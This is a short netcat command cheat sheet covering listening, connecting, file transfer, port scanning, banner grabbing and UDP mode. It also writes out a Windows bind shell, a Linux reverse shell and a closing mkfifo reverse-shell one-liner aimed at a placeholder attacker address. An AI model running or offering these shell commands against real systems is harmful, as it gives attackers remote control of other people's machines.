Netcat (nc) Command Guide

Netcat is the utility knife of TCP/IP networking. It reads and writes data across network connections.

Top 10 Useful Commands

1. Listen (Server)

nc -lvnp 4444

Explanation: Listen (-l), verbose (-v), no-resolve (-n), port 4444 (-p). Used to catch reverse shells.

2. Connect (Client)

nc 10.10.10.10 80

Explanation: Connect to port 80. You can type manual HTTP requests here.

3. File Transfer (Receive)

nc -lvnp 4444 > outfile.txt

Explanation: Save received data to file.

4. File Transfer (Send)

nc 10.10.10.10 4444 < infile.txt

Explanation: Pipe file content into the connection.

5. Port Scan

nc -zv 10.10.10.10 1-1000

Explanation: Zero-I/O (-z) scan. checks if ports are open.

6. Banner Grabbing

nc -v 10.10.10.10 22

Explanation: Connects and prints the service banner (e.g., SSH version).

7. Bind Shell (Windows)

nc -lvnp 4444 -e cmd.exe

Explanation: Executes cmd.exe and sends I/O to connection. Dangerous.

8. Reverse Shell (Linux)

nc 10.10.10.10 4444 -e /bin/bash

Explanation: Connects back to attacker and exposes bash.

9. UDP Mode

nc -u -lvnp 4444

Explanation: Listen on UDP instead of TCP.

10. Chat

# Run nc on both sides

Explanation: Simple text chat between two machines.

The Most Powerful Command

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4444 >/tmp/f

Explanation: The "Netcat without -e" flag reverse shell. This one-liner creates a pipe to send shell output to netcat and read input from netcat, bypassing modern limitations.